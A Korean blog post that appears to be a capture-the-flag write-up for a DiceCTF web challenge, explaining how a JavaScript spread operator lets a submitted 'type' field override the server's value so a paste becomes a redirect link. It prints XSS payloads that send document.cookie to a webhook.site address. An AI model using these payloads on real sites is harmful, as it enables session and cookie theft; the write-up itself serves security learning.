앞서 해당사이트의 전체적인 흐름을 확인하였고  이제 소스코드의 어떤부분을 어떻게 공략해야될지 생각해보아야 한다.

대회 당시에는 Pastebin에 script 구문을 만들어 넣으면 될거 같아 보였지만 효과가 없었다.

나중에야 알았지만 이런식으로 직접적으로 페이로드를 입력한다고 바로 풀리는 문제가 아니었다.

 

보지 않았던 view.html페이지를 살펴보자

<!doctype html>
<html>
<head>
  <script async>
    (async () => {
      //uid 출력
      const id = window.location.pathname.split('/')[2];
      
      //uid가 없을 경우
      if (! id) window.location = window.origin;
      
      //{statusCode : 200, data : 123, type : paste}
      const res = await fetch(`${window.origin}/api/data/${id}`);
      
      //data와 type값을 받음
      const { data, type } = await res.json();
      
      //data 값이 제대로 있지 않을 경우
      if (! data || ! type ) window.location = window.origin;
      
      //type이 link일 경우 data 값 주소로 이동
      if (type === 'link') return window.location = data;
      
      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;
    })()
  </script>
</head>
<body>
  <div style="font-family: monospace"></div>
</bod>
</html>

 

이 중에서 'type이 link일 경우' 주석이 달린 부분을 살펴 보면 data 값을 이용한다면 XSS를 사용이 가능 할듯 싶다.

여기서 우리가 만족시켜야되는 것을 type을 link로 data 값을 XSS 구문으로 만들어야한다.

 

data값 -> XSS 구문

type값 -> link

 

XSS구문을 아래와 같이 webhook을 사용하여 작성하였다.

javascript:document.location='https://webhook.site/#!/3e87b4ab-2e7b-49b3-b36c-9d52819a1946?c='+document.cookie

 

다음으로 type값을 link로 맞춰 줘야한다.

      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;

 

앞서 살펴보았던 api/createLink 부분에서 type이 link로 변한다. 

fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

 

 

database.appData 구문을 살펴보면 type이 링크로 변하는 것을 확인할수 있다.

 

앞서 코드 분석이 이루어졌을때 api/pastebin과 코드가 굉장히 유사하다고 하였다.

fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

 

이곳에도 database.appData 구문이 존재한다.

database.addData({ type: 'paste', ...req.body, uid });

여기서 주의해서 봐야되는게 2번째 인자다.

 

'...'은 JS의 스프레드 연산자인데 이걸 사용하면 아래와 같이 앞에 인자를 덮어 씌울 수가 있게된다.

두번째 인자를 사용하여 req 패킷의 body부분에 위에 작성한 페이로드에 type=link를 추가하고 삽입해주면 

문제가 풀리게 된다.

 

최종 페이로드

{"data":"javascript:location.href=https://webhook.site/a6268581-7ae5-4be4-8fd3-a4f16744d829?c='
+document.cookie;","type" : "link"}

 

 

 

이렇게 문제가 풀린다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Challenge > CTF' 카테고리의 다른 글

[Intent CTF] Door (un)Locked  (0) 2021.11.22
[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Missing Flavortext  (0) 2021.02.16
[DiceCTF] web/Babier CSP  (0) 2021.02.09

+ Recent posts